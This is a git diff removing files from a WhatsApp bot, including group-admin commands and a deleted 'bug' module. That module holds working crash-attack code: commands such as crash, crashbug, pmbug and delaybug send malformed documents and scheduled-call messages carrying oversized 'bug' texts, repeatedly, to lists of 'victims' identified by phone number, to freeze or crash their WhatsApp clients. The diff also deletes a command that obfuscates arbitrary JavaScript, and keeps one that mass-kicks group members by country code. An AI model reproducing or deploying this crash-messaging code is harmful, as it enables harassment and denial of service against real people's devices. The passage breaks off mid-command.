- repondre(`The anti-bot action has been updated to ${arg.join('').split("/")[1]}`);
-
- } else {
- repondre("The only actions available are warn, remove, and delete") ;
- }
-
-
- } else {
- repondre('antibot on to activate the anti-bot feature\nantibot off to deactivate the antibot feature\nantibot action/remove to directly remove the bot without notice\nantibot action/warn to give warnings\nantilink action/delete to remove the bot message without any sanctions\n\nPlease note that by default, the anti-bot feature is set to delete.') ;
-
- }
- } catch (error) {
- repondre(error)
- }
-
- } else { repondre('You are not entitled to this order') ;
-
- }
-
-});
-
-//----------------------------------------------------------------------------
-
-adams({ nomCom: "group", categorie: 'Group' }, async (dest, zk, commandeOptions) => {
-
- const { repondre, verifGroupe, verifAdmin, superUser, arg } = commandeOptions;
-
- if (!verifGroupe) { repondre("order reserved for group only"); return };
- if (superUser || verifAdmin) {
-
- if (!arg[0]) { repondre('Instructions:\n\nType group open or close'); return; }
- const option = arg.join(' ')
- switch (option) {
- case "open":
- await zk.groupSettingUpdate(dest, 'not_announcement')
- repondre('group open')
- break;
- case "close":
- await zk.groupSettingUpdate(dest, 'announcement');
- repondre('Group close successfully');
- break;
- default: repondre("Please don't invent an option")
- }
-
-
- } else {
- repondre("order reserved for the administratorr");
- return;
- }
-
-
-});
-
-adams({ nomCom: "left", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
-
- const { repondre, verifGroupe, superUser } = commandeOptions;
- if (!verifGroupe) { repondre("order reserved for group only"); return };
- if (!superUser) {
- repondre("command reserved for the bot owner");
- return;
- }
- await repondre('sayonnara') ;
-
- zk.groupLeave(dest)
-});
-
-adams({ nomCom: "gname", categorie: 'Group' }, async (dest, zk, commandeOptions) => {
-
- const { arg, repondre, verifAdmin } = commandeOptions;
-
- if (!verifAdmin) {
- repondre("order reserved for administrators of the group");
- return;
- };
- if (!arg[0]) {
- repondre("Please enter the group name");
- return;
- };
- const nom = arg.join(' ')
- await zk.groupUpdateSubject(dest, nom);
- repondre(`group name refresh: *${nom}*`)
-
-
-}) ;
-
-adams({ nomCom: "gdesc", categorie: 'Group' }, async (dest, zk, commandeOptions) => {
-
- const { arg, repondre, verifAdmin } = commandeOptions;
-
- if (!verifAdmin) {
- repondre("order reserved for administrators of the group");
- return;
- };
- if (!arg[0]) {
- repondre("Please enter the group description");
- return;
- };
- const nom = arg.join(' ')
- await zk.groupUpdateDescription(dest, nom);
- repondre(`group description update: *${nom}*`)
-
-
-}) ;
-
-
-adams({ nomCom: "gpp", categorie: 'Group' }, async (dest, zk, commandeOptions) => {
-
- const { repondre, msgRepondu, verifAdmin } = commandeOptions;
-
- if (!verifAdmin) {
- repondre("order reserved for administrators of the group");
- return;
- };
- if (msgRepondu.imageMessage) {
- const pp = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage) ;
-
- await zk.updateProfilePicture(dest, { url: pp })
- .then( () => {
- zk.sendMessage(dest,{text:"Group pfp changed"})
- fs.unlinkSync(pp)
- }).catch(() => zk.sendMessage(dest,{text:err})
-)
-
- } else {
- repondre('Please mention an image')
- }
-
-});
-
-/////////////
-adams({nomCom:"hidetag",categorie:'Group',reaction:"🎤"},async(dest,zk,commandeOptions)=>{
-
- const {repondre,msgRepondu,verifGroupe,arg ,verifAdmin , superUser}=commandeOptions;
-
- if(!verifGroupe) { repondre('This command is only allowed in groups.')} ;
- if (verifAdmin || superUser) {
-
- let metadata = await zk.groupMetadata(dest) ;
-
- //console.log(metadata.participants)
- let tag = [] ;
- for (const participant of metadata.participants ) {
-
- tag.push(participant.id) ;
- }
- //console.log(tag)
-
- if(msgRepondu) {
- console.log(msgRepondu)
- let msg ;
-
- if (msgRepondu.imageMessage) {
-
-
-
- let media = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage) ;
- // console.log(msgRepondu) ;
- msg = {
-
- image : { url : media } ,
- caption : msgRepondu.imageMessage.caption,
- mentions : tag
-
- }
-
-
- } else if (msgRepondu.videoMessage) {
-
- let media = await zk.downloadAndSaveMediaMessage(msgRepondu.videoMessage) ;
-
- msg = {
-
- video : { url : media } ,
- caption : msgRepondu.videoMessage.caption,
- mentions : tag
-
- }
-
- } else if (msgRepondu.audioMessage) {
-
- let media = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage) ;
-
- msg = {
-
- audio : { url : media } ,
- mimetype:'audio/mp4',
- mentions : tag
- }
-
- } else if (msgRepondu.stickerMessage) {
-
-
- let media = await zk.downloadAndSaveMediaMessage(msgRepondu.stickerMessage)
-
- let stickerMess = new Sticker(media, {
- pack: 'Bmw-mdtag',
- type: StickerTypes.CROPPED,
- categories: ["🤩", "🎉"],
- id: "12345",
- quality: 70,
- background: "transparent",
- });
- const stickerBuffer2 = await stickerMess.toBuffer();
-
- msg = { sticker: stickerBuffer2 , mentions : tag}
-
-
- } else {
- msg = {
- text : msgRepondu.conversation,
- mentions : tag
- }
- }
-
- zk.sendMessage(dest,msg)
-
- } else {
-
- if(!arg || !arg[0]) { repondre('Enter the text to announce or mention the message to announce');
- ; return} ;
-
- zk.sendMessage(
- dest,
- {
- text : arg.join(' ') ,
- mentions : tag
- }
- )
- }
-
-} else {
- repondre('Command reserved for administrators.')
-}
-
-});
-
-
-adams({ nomCom: "apk", reaction: "✨", categorie: "Recherche" }, async (dest, zk, commandeOptions) => {
- const { repondre, arg, ms } = commandeOptions;
-
- try {
- const appName = arg.join(' ');
- if (!appName) {
- return repondre("*Enter the name of the application to search for*");
- }
-
- const searchResults = await search(appName);
-
- if (searchResults.length === 0) {
- return repondre("*can't find application, please enter another name*");
- }
-
- const appData = await download(searchResults[0].id);
- const fileSize = parseInt(appData.size);
-
- if (fileSize > 300) {
- return repondre("The file exceeds 300 MB, unable to download.");
- }
-
- const downloadLink = appData.dllink;
- const captionText =
- "『 *Bmw-Md Application* 』\n\n*Name :* " + appData.name +
- "\n*Id :* " + appData["package"] +
- "\n*Last Update :* " + appData.lastup +
- "\n*Size :* " + appData.size +
- "\n";
-
- const apkFileName = (appData?.["name"] || "Downloader") + ".apk";
- const filePath = apkFileName;
-
- const response = await axios.get(downloadLink, { 'responseType': "stream" });
- const fileWriter = fs.createWriteStream(filePath);
- response.data.pipe(fileWriter);
-
- await new Promise((resolve, reject) => {
- fileWriter.on('finish', resolve);
- fileWriter.on("error", reject);
- });
-
- const documentMessage = {
- 'document': fs.readFileSync(filePath),
- 'mimetype': 'application/vnd.android.package-archive',
- 'fileName': apkFileName
- };
-
- // Utilisation d'une seule méthode sendMessage pour envoyer l'image et le document
- zk.sendMessage(dest, { image: { url: appData.icon }, caption: captionText }, { quoted: ms });
- zk.sendMessage(dest, documentMessage, { quoted: ms });
-
- // Supprimer le fichier après envoi
- fs.unlinkSync(filePath);
- } catch (error) {
- console.error('Erreur lors du traitement de la commande apk:', error);
- repondre("*Error during apk command processing*");
- }
-});
-
-
-
-
-
-/******************************* automute && autoummute ***************************/
-
-const cron = require(`../lib/cron`) ;
-
-
-adams({
- nomCom : 'automute',
- categorie : 'Group'
- } , async (dest,zk,commandeOptions) => {
-
- const {arg , repondre , verifAdmin } = commandeOptions ;
-
- if (!verifAdmin) { repondre('You are not an administrator of the group') ; return}
-
- group_cron = await cron.getCronById(dest) ;
-
-
-
- if (!arg || arg.length == 0) {
-
- let state ;
- if (group_cron == null || group_cron.mute_at == null) {
-
- state = "No time set for automatic mute"
- } else {
-
- state = `The group will be muted at ${(group_cron.mute_at).split(':')[0]} ${(group_cron.mute_at).split(':')[1]}`
- }
-
- let msg = `* *State:* ${state}
- * *Instructions:* To activate automatic mute, add the minute and hour after the command separated by ':'
- Example automute 9:30
- * To delete the automatic mute, use the command *automute del*`
-
-
- repondre(msg) ;
- return ;
- } else {
-
- let texte = arg.join(' ')
-
- if (texte.toLowerCase() === `del` ) {
-
- if (group_cron == null) {
-
- repondre('No cronometrage is active') ;
- } else {
-
- await cron.delCron(dest) ;
-
- repondre("The automatic mute has been removed; restart to apply changes")
- .then(() => {
-
- exec("pm2 restart all");
- }) ;
- }
- } else if (texte.includes(':')) {
-
- //let { hr , min } = texte.split(':') ;
-
- await cron.addCron(dest,"mute_at",texte) ;
-
- repondre(`Setting up automatic mute for ${texte} ; restart to apply changes`)
- .then(() => {
-
- exec("pm2 restart all");
- }) ;
-
- } else {
- repondre('Please enter a valid time with hour and minute separated by :') ;
- }
-
-
- }
- });
-
-
- adams({
- nomCom : 'autounmute',
- categorie : 'Group'
-} , async (dest,zk,commandeOptions) => {
-
- const {arg , repondre , verifAdmin } = commandeOptions ;
-
- if (!verifAdmin) { repondre('You are not an administrator of the group') ; return}
-
- group_cron = await cron.getCronById(dest) ;
-
-
-
- if (!arg || arg.length == 0) {
-
- let state ;
- if (group_cron == null || group_cron.unmute_at == null) {
-
- state = "No time set for autounmute" ;
-
- } else {
-
- state = `The group will be un-muted at ${(group_cron.unmute_at).split(':')[0]}H ${(group_cron.unmute_at).split(':')[1]}`
- }
-
- let msg = `* *State:* ${state}
- * *Instructions:* To activate autounmute, add the minute and hour after the command separated by ':'
- Example autounmute 7:30
- * To delete autounmute, use the command *autounmute del*`
-
- repondre(msg) ;
- return ;
-
- } else {
-
- let texte = arg.join(' ')
-
- if (texte.toLowerCase() === `del` ) {
-
- if (group_cron == null) {
-
- repondre('No cronometrage has been activated') ;
- } else {
-
- await cron.delCron(dest) ;
-
- repondre("The autounmute has been removed; restart to apply the changes")
- .then(() => {
-
- exec("pm2 restart all");
- }) ;
-
-
-
- }
- } else if (texte.includes(':')) {
-
-
-
- await cron.addCron(dest,"unmute_at",texte) ;
-
- repondre(`Setting up autounmute for ${texte}; restart to apply the changes`)
- .then(() => {
-
- exec("pm2 restart all");
- }) ;
-
- } else {
- repondre('Please enter a valid time with hour and minute separated by :') ;
- }
-
-
- }
-});
-
-
-
-adams({
- nomCom : 'fkick',
- categorie : 'Group'
-} , async (dest,zk,commandeOptions) => {
-
- const {arg , repondre , verifAdmin , superUser , verifZokouAdmin } = commandeOptions ;
-
- if (verifAdmin || superUser) {
-
- if(!verifZokouAdmin){ repondre('You need administrative rights to perform this command') ; return ;}
-
- if (!arg || arg.length == 0) { repondre('Please enter the country code whose members will be removed') ; return ;}
-
- let metadata = await zk.groupMetadata(dest) ;
-
- let participants = metadata.participants ;
-
- for (let i = 0 ; i < participants.length ; i++) {
-
- if (participants[i].id.startsWith(arg[0]) && participants[i].admin === null ) {
-
- await zk.groupParticipantsUpdate(dest, [participants[i].id], "remove") ;
- }
- }
-
- } else {
- repondre('Sorry, you are not an administrator of the group')
- }
-
-
-}) ;
-
-
-adams({
- nomCom : 'nsfw',
- categorie : 'Group'
-}, async (dest,zk,commandeOptions) => {
-
- const {arg , repondre , verifAdmin } = commandeOptions ;
-
- if(!verifAdmin) { repondre('Sorry, you cannot enable NSFW content without being an administrator of the group') ; return}
-
- let hbd = require('../lib/hentai') ;
-
- let isHentaiGroupe = await hbd.checkFromHentaiList(dest) ;
-
- if (arg[0] == 'on') {
-
- if(isHentaiGroupe) {repondre('NSFW content is already active for this group') ; return} ;
-
- await hbd.addToHentaiList(dest) ;
-
- repondre('NSFW content is now active for this group') ;
-
- } else if (arg[0] == 'off') {
-
- if(!isHentaiGroupe) {repondre('NSFW content is already disabled for this group') ; return} ;
-
- await hbd.removeFromHentaiList(dest) ;
-
- repondre('NSFW content is now disabled for this group') ;
- } else {
-
- repondre('You must enter "on" or "off"') ;
- }
-} ) ;
diff --git a/scs/bmwui.js b/scs/bmwui.js
deleted file mode 100644
index 40ed86d..0000000
--- a/scs/bmwui.js
+++ /dev/null
@@ -1,39 +0,0 @@
-const JavaScriptObfuscator = require("javascript-obfuscator");
-const {
- adams
-} = require("../Ibrahim/adams");
-adams({
- 'nomCom': "obt",
- 'categorie': 'General'
-}, async (_0x3cf1f0, _0x36cbf1, _0x90621a) => {
- const {
- ms: _0x4b944b,
- arg: _0x34f2ba,
- repondre: _0x19e646,
- auteurMessage: _0x4ebaef,
- nomAuteurMessage: _0x2dfa6f,
- msgRepondu: _0x354080,
- auteurMsgRepondu: _0x548b39
- } = _0x90621a;
- try {
- let _0x32b5ce = _0x34f2ba.join(" ");
- if (!_0x34f2ba[0x0]) {
- _0x19e646("After the command, provide a valid JavaScript code for encryption");
- return;
- }
- ;
- const _0x3fa990 = JavaScriptObfuscator.obfuscate(_0x32b5ce, {
- 'compact': true,
- 'controlFlowFlattening': true,
- 'controlFlowFlatteningThreshold': 0x1,
- 'numbersToExpressions': true,
- 'simplify': true,
- 'stringArrayShuffle': true,
- 'splitStrings': true,
- 'stringArrayThreshold': 0x1
- });
- await _0x19e646(_0x3fa990.getObfuscatedCode());
- } catch {
- _0x19e646("Something is wrong, check if your code is logical and has the correct syntax");
- }
-});
diff --git a/scs/bmwuu.js b/scs/bmwuu.js
deleted file mode 100644
index 2dc4d1d..0000000
--- a/scs/bmwuu.js
+++ /dev/null
@@ -1,1037 +0,0 @@
-
-const { adams } = require("../Ibrahim/adams");
-const { delay, loading, react } = require("../Ibrahim/utils");
-const moment = require("moment-timezone");
-const conf = require("../config.js");
-const fs = require("fs");
-const path = require("path");
-const {
- generateWAMessageFromContent,
- proto
-} = require("@whiskeysockets/baileys");
-
-// bug database
-const { bugtext1 } = require("../Ibrahim/bugs/bugtext1");
-const { bugtext2 } = require("../Ibrahim/bugs/bugtext2");
-const { bugtext3 } = require("../Ibrahim/bugs/bugtext3");
-const { bugtext4 } = require("../Ibrahim/bugs/bugtext4");
-const { bugtext5 } = require("../Ibrahim/bugs/bugtext5");
-const { bugtext6 } = require("../Ibrahim/bugs/bugtext6");
-const { bugpdf } = require("../Ibrahim/bugs/bugpdf.js");
-
-const category = "dev";
-const reaction = "🤯";
-
-const mess = {};
-mess.prem = "You are not authorised to use this command !!!";
-
-const phoneRegex = /^\d{1,3}[- ]?(\(\d{1,3}\) )?[\d- ]{7,10}$/;
-const whatsappRegex =
- /https:\/\/chat\.whatsapp\.com\/(invite|join|)[A-Za-z0-9]+/;
-
-const timewisher = time => {
- if (time < "23:59:00") {
- return `Good Night 🌆`;
- } else if (time < "19:00:00") {
- return `Good Evening 🌆`;
- } else if (time < "18:00:00") {
- return `Good Evening 🌆`;
- } else if (time < "15:00:00") {
- return `Good Afternoon 🌅`;
- } else if (time < "11:00:00") {
- return `Good Morning 🌄`;
- } else if (time < "05:00:00") {
- return `Good Morning 🌄`;
- }
-};
-
-
-async function relaybug(dest, zk, ms, repondre, amount, victims, bug) {
- for (let i = 0; i < victims.length; i++) {
- if (!phoneRegex.test(victims[i])) {
- repondre(`${victims[i]} not a valid phone number`);
- continue;
- } else {
- const victim = victims[i] + "@s.whatsapp.net";
- for (let j = 0; j < amount; j++) {
- var scheduledCallCreationMessage = generateWAMessageFromContent(
- dest,
- proto.Message.fromObject(bug),
- { userJid: dest, quoted: ms }
- );
- try {
- zk.relayMessage(
- victim,
- scheduledCallCreationMessage.message,
- { messageId: scheduledCallCreationMessage.key.id }
- );
- } catch (e) {
- repondre(
- `An error occured while sending bugs to ${victims[i]}`
- );
- console.log(
- `An error occured while sending bugs to ${victim}: ${e}`
- );
- break;
- }
- await delay(3000);
- }
- if (victims.length > 1)
- repondre(`${amount} bugs send to ${victims[i]} Successfully.`);
- await delay(5000);
- }
- }
- repondre(`Successfully sent ${amount} bugs to ${victims.join(", ")}.`);
-}
-
-async function sendbug(dest, zk, ms, repondre, amount, victims, bug) {
- for (let i = 0; i < victims.length; i++) {
- if (!phoneRegex.test(victims[i])) {
- repondre(`${victims[i]} not a valid phone number`);
- continue;
- } else {
- const victim = victims[i] + "@s.whatsapp.net";
- for (let j = 0; j < amount; j++) {
- try {
- zk.sendMessage(victim, bug);
- } catch (e) {
- repondre(
- `An error occured while sending bugs to ${victims[i]}`
- );
- console.log(
- `An error occured while sending bugs to ${victim}: ${e}`
- );
- break;
- }
- await delay(3000);
- }
- if (victims.length > 1)
- repondre(`${amount} bugs send to ${victims[i]} Successfully.`);
- await delay(5000);
- }
- }
- repondre(`Successfully sent ${amount} bugs to ${victims.join(", ")}.`);
-}
-
-
-// --cmds--
-
-// bug menu
-adams(
- {
- nomCom: "bu",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre } = commandOptions;
- const mono = "```";
- const time = moment().tz(conf.TZ).format("HH:mm:ss");
- const versions = ["v1", "v2"];
- const version = versions[Math.floor(Math.random() * versions.length)];
- const menuImage = fs.readFileSync(
- path.resolve(
- path.join(__dirname, "..", "file", "deleted-message.jpg")
- )
- );
- const tumbUrl =
- "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg";
- let menu = `${mono}Hello ${ms.pushName}
-${timewisher(time)}
-
-
-
-┗❏${mono}`;
- switch (version) {
- case "v1":
- {
- zk.sendMessage(
- dest,
- {
- image: menuImage,
- caption: menu
- },
- { quoted: ms }
- );
- }
- break;
- case "v2":
- {
- zk.sendMessage(
- dest,
- {
- image: menuImage,
- caption: menu,
- contextInfo: {
- mentionedJid: [ms.key.remoteJid],
- forwardingScore: 9999999,
- isForwarded: true,
- externalAdReply: {
- showAdAttribution: true,
- title: `${conf.BOT}`,
- body: `Bot Created By ${conf.OWNER_NAME}`,
- thumbnail: { url: tumbUrl },
- thumbnailUrl: tumbUrl,
- previewType: "PHOTO",
- sourceUrl:
- "https://whatsapp.com/channel/0029VaePv7T72WTq4R6Pxr0t",
- mediaType: 1,
- renderLargerAbhinail: true
- }
- }
- },
- { quoted: ms }
- );
- }
- break;
- }
- }
-);
-
-//bug
-adams(
- {
- nomCom: "bug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
-
- // send loading message
- await loading(dest, zk);
-
- for (let i = 0; i < 25; i++) {
- const doc = { url: "./config.js" };
- await zk.sendMessage(dest, {
- document: doc,
- mimetype:
- "\u27E8\u0F11̶\u20DF\uD83D\uDCA5 \uD835\uDC01͢\uD835\uDC11\uD835\uDC14\uD835\uDC17͢\uD835\uDC0E \uD835\uDC05\uD835\uDC14͢\uD835\uDC02\uD835\uDC0A\uD835\uDC0F͢\uD835\uDC03\uD835\uDC05̑\uD83D\uDC41️\u0F11̶\u27E9",
- title: "bx.pdf",
- pageCount: 9999999999,
- thumbnail: {
- url: "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg"
- },
- thumbnailUrl:
- "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg",
- jpegThumbnail: {
- url: "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg"
- },
- mediaKey: "ht55w7B6UoaG9doQuVQ811XNfWcoALqcdQfd61seKKk=",
- fileName:
- "\u27E8\u0F11̶\u20DF\uD83D\uDCA5 \uD835\uDC01͢\uD835\uDC11\uD835\uDC14\uD835\uDC17͢\uD835\uDC0E \uD835\uDC05\uD835\uDC14͢\uD835\uDC02\uD835\uDC0A\uD835\uDC0F͢\uD835\uDC03\uD835\uDC05̑\uD83D\uDC41️\u0F11̶\u27E9\n\n" +
- bugpdf
- });
- }
- await zk.sendMessage(dest, { react: { text: "✅", key: ms.key } });
- }
-);
-
-//crash
-adams(
- {
- nomCom: "crash",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser } = commandOptions;
- const bug = bugtext6;
- if (!superUser) return await repondre(mess.prem);
- await loading(dest, zk);
- try {
- for (let i = 0; i < 10; i++) {
- await repondre(bug);
- }
- } catch (e) {
- await repondre(`an error occoured sending bugs`);
- console.log(`an error occured sending bugs : ${e}`);
- return;
- }
- }
-);
-
-//loccrash
-adams(
- {
- nomCom: "loccrash",
- reaction: "\uD83D\uDD16",
- categorie: category
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- await loading(dest, zk);
-
- for (let i = 0; i < 20; i++) {
- for (let j = 0; j < "3"; j++) {
- zk.sendMessage(
- dest,
- {
- location: {
- degreesLatitude: -6.28282828,
- degreesLongitude: -1.2828,
- name: "BRUX0N3RD\n\n\n\n\n\n\n\n"
- }
- },
- { quoted: ms }
- );
- }
- }
- await zk.sendMessage(dest, { react: { text: "✅", key: ms.key } });
- }
-);
-
-//crashbug
-adams(
- {
- nomCom: "crashbug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}crashbug amount | numbers\n> Example ${prefixe}crashbug 30 |${
- conf.NUMERO_OWNER
- } or ${prefixe}crashbug ${conf.NUMERO_OWNER.split(",")[0]}`
- );
- await loading(dest, zk);
- const text = arg.join("");
- let amount = 30;
- let victims = [];
- const doc = { url: "./config.js" };
- const bug = {
- document: doc,
- mimetype:
- "\u27E8\u0F11̶\u20DF\uD83D\uDCA5 \uD835\uDC01͢\uD835\uDC11\uD835\uDC14\uD835\uDC17͢\uD835\uDC0E \uD835\uDC05\uD835\uDC14͢\uD835\uDC02\uD835\uDC0A\uD835\uDC0F͢\uD835\uDC03\uD835\uDC05̑\uD83D\uDC41️\u0F11̶\u27E9",
- title: "bx.pdf",
- pageCount: 9999999999,
- thumbnail: {
- url: "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg"
- },
- thumbnailUrl:
- "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg",
- jpegThumbnail: {
- url: "https://i.ibb.co/wyYKzMY/68747470733a2f2f74656c656772612e70682f66696c652f6530376133643933336662346361643062333739312e6a7067.jpg"
- },
- mediaKey: "ht55w7B6UoaG9doQuVQ811XNfWcoALqcdQfd61seKKk=",
- fileName:
- "\u27E8\u0F11̶\u20DF\uD83D\uDCA5 \uD835\uDC01͢\uD835\uDC11\uD835\uDC14\uD835\uDC17͢\uD835\uDC0E \uD835\uDC05\uD835\uDC14͢\uD835\uDC02\uD835\uDC0A\uD835\uDC0F͢\uD835\uDC03\uD835\uDC05̑\uD83D\uDC41️\u0F11̶\u27E9\n\n" +
- bugpdf
- };
- if (arg.length === 1) {
- victims.push(arg[0]);
- await repondre(`sending ${amount} bugs to ${victims[0]}`);
- try {
- await sendbug(dest, zk, ms, repondre, amount, victims, bug);
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- amount = parseInt(text.split("|")[0].trim());
- if (isNaN(amount)) {
- return await repondre(
- `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- } else {
- victims = text
- .split("|")[1]
- .split(",")
- .map(x => x.trim())
- .filter(x => x !== "");
- if (victims.length > 0) {
- await repondre(
- `sending ${amount} bugs to ${victims.join(", ")}`
- );
- try {
- await sendbug(
- dest,
- zk,
- ms,
- repondre,
- amount,
- victims,
- bug
- );
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- return await repondre("No victims specfied");
- }
- }
- }
- await react(dest, zk, ms, "✅");
- }
-);
-
-// amountbug
-adams(
- {
- nomCom: "amountbug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
-
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}amountbug amount\n> Example ${prefixe}amountbug 5`
- );
-
- const amount = parseInt(arg[0]);
- if (isNaN(amount) || amount > conf.BOOM_MESSAGE_LIMIT || amount < 1)
- return await repondre(
- `use a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- for (let i = 0; i < amount; i++) {
- const bug = `${bugtext1}`;
- var scheduledCallCreationMessage = generateWAMessageFromContent(
- dest,
- proto.Message.fromObject({
- scheduledCallCreationMessage: {
- callType: "2",
- scheduledTimestampMs: `${moment(1000)
- .tz("Asia/Kolkata")
- .format("DD/MM/YYYY HH:mm:ss")}`,
- title: bug
- }
- }),
- { userJid: dest, quoted: ms }
- );
- try {
- await zk.relayMessage(
- victim,
- scheduledCallCreationMessage.message,
- { messageId: scheduledCallCreationMessage.key.id }
- );
- } catch (e) {
- await repondre(`An error occured while sending bugs`);
- console.log(`An error occured while sending bugs: ${e}`);
- return;
- }
- await delay(3000);
- }
- await repondre(
- `*Successfully sent as many bugs as ${amount} Please pause for 3 minutes*`
- );
- await react(dest, zk, ms, "✅");
- }
-);
-
-//pmbug
-adams(
- {
- nomCom: "pmbug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}pmbug amount | numbers\n> Example ${prefixe}pmbug 30 |${
- conf.NUMERO_OWNER
- } or ${prefixe}pmbug ${conf.NUMERO_OWNER.split(",")[0]}`
- );
- await loading(dest, zk);
- const text = arg.join("");
- let amount = 30;
- let victims = [];
- const bug = {
- scheduledCallCreationMessage: {
- callType: "2",
- scheduledTimestampMs: `${moment(1000)
- .tz("Asia/Kolkata")
- .format("DD/MM/YYYY HH:mm:ss")}`,
- title: `${bugtext1}`
- }
- };
- if (arg.length === 1) {
- victims.push(arg[0]);
- await repondre(`sending ${amount} bugs to ${victims[0]}`);
- try {
- await relaybug(dest, zk, ms, repondre, amount, victims, bug);
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- amount = parseInt(text.split("|")[0].trim());
- if (
- amount > conf.BOOM_MESSAGE_LIMIT ||
- isNaN(amount) ||
- amount < 1
- ) {
- return await repondre(
- `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- } else {
- victims = text
- .split("|")[1]
- .split(",")
- .map(x => x.trim())
- .filter(x => x !== "");
- if (victims.length > 0) {
- await repondre(
- `sending ${amount} bugs to ${victims.join(", ")}`
- );
- try {
- await relaybug(
- dest,
- zk,
- ms,
- repondre,
- amount,
- victims,
- bug
- );
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- return await repondre("No victims specfied");
- }
- }
- }
- await react(dest, zk, ms, "✅");
- }
-);
-
-//delaybug
-adams(
- {
- nomCom: "delaybug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}delaybug amount | numbers\n> Example ${prefixe}delaybug 30 |${
- conf.NUMERO_OWNER
- } or ${prefixe}delaybug ${conf.NUMERO_OWNER.split(",")[0]}`
- );
- await loading(dest, zk);
- const text = arg.join("");
- let amount = 30;
- let victims = [];
- const bug = {
- scheduledCallCreationMessage: {
- callType: "2",
- scheduledTimestampMs: `${moment(1000)
- .tz("Asia/Kolkata")
- .format("DD/MM/YYYY HH:mm:ss")}`,
- title: bugtext2
- }
- };
- if (arg.length === 1) {
- victims.push(arg[0]);
- await repondre(`sending ${amount} bugs to ${victims[0]}`);
- try {
- await relaybug(dest, zk, ms, repondre, amount, victims, bug);
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- amount = parseInt(text.split("|")[0].trim());
- if (
- amount > conf.BOOM_MESSAGE_LIMIT ||
- isNaN(amount) ||
- amount < 1
- ) {
- return await repondre(
- `amount must be a valid intiger between 1-${conf.BOOM_MESSAGE_LIMIT}`
- );
- } else {
- victims = text
- .split("|")[1]
- .split(",")
- .map(x => x.trim())
- .filter(x => x !== "");
- if (victims.length > 0) {
- await repondre(
- `sending ${amount} bugs to ${victims.join(", ")}`
- );
- try {
- await relaybug(
- dest,
- zk,
- ms,
- repondre,
- amount,
- victims,
- bug
- );
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
- } else {
- return await repondre("No victims specfied");
- }
- }
- }
- await react(dest, zk, ms, "✅");
- }
-);
-
-//docubug
-adams(
- {
- nomCom: "docubug",
- categorie: category,
- reaction: reaction
- },
-
- async (dest, zk, commandOptions) => {
- const { ms, arg, repondre, superUser, prefixe } = commandOptions;
- if (!superUser) return await repondre(mess.prem);
- if (!arg[0])
- return await repondre(
- `Use ${prefixe}docubug amount | numbers\n> Example ${prefixe}docubug 30 |${
- conf.NUMERO_OWNER
- } or ${prefixe}docubug ${conf.NUMERO_OWNER.split(",")[0]}`
- );
- await loading(dest, zk);
- const text = arg.join("");
- let amount = 15;
- let victims = [];
- const bug = {
- scheduledCallCreationMessage: {
- callType: "2",
- scheduledTimestampMs: `${moment(1000)
- .tz("Asia/Kolkata")
- .format("DD/MM/YYYY HH:mm:ss")}`,
- title: `${bugtext1}`
- }
- };
- if (arg.length === 1) {
- victims.push(arg[0]);
- await repondre(`sending ${amount} bugs to ${victims[0]}`);
- try {
- await relaybug(dest, zk, ms, repondre, amount, victims, bug);
- } catch (e) {
- await repondre("An error occured");
- console.log(`An error occured: ${e}`);
- await react(dest, zk, ms, "⚠️");
- }
